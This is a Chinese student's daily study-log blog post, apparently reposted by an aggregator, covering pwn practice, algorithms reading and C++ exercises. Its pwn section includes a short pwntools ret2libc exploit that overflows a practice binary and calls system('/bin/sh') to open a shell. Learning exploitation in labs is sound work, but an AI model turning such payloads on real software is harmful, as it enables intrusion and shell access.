9-6(8-5)学习打卡(6.24)
Posted 水番正文
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了9-6(8-5)学习打卡(6.24)相关的知识,希望对你有一定的参考价值。
今天又是被企业输出压力的一天,这么说来我也该考些证了,发现现在培训的机构的人员配置都是要有说手和技术人员,真是感觉挺有意思,这段时间的学习到了平静期,继续坚持--6.24
6.24 To do list:
1.每日Pwn学习
2.算法导论看到生日驳论
3.CPP第五章练习加校对,向下浏览十页
一:每日Pwn学习
第十九节:
学习文章:
pwn tools入门(文档)
https://blog.csdn.net/zhy025907/article/details/90573571
https://www.jianshu.com/p/8d6b605eb7fc
https://www.jianshu.com/p/d3187a63c582
http://www.91ri.org/14382.html
https://www.jianshu.com/p/355e4badab50
第二十节:
再再再复习一下调用函数后第一个地址是预留函数地址 然后才是第一个参数
或另一个exp
from pwn import * context(arch = "i386",os = "linux") p = process("./ret2libc1") e = ELF("./ret2libc1") #标准开头 要习惯这样写开头 offset = 112 system_plt_addr = e.symbols["system"] #注意命名加plt,是在plt表找的 bin_sh_addr = e.search("/bin/sh").next() payload = offset * "P" + p32(system_plt_addr) + p32(1) + p32(bin_sh_addr) p.sendlineafter("RET2LIBC >_<\\n",payload) #\\n细节看下 p.interactive()
当r了之后,是在下一行,说明有个换行符,注意小细节。
二:算法导论
看完了第五章(实际上很多没搞懂和第四章结尾一言难尽),结束了第一部分 基础知识,明天开始第二部分!紧张刺激的各种排序算法。(好饿淦饭去了
三:CPP
浏览到125页
今天眼睛是进洗面奶了??最近胖了好多,从现在开始要注意饮食。
以上是关于9-6(8-5)学习打卡(6.24)的主要内容,如果未能解决你的问题,请参考以下文章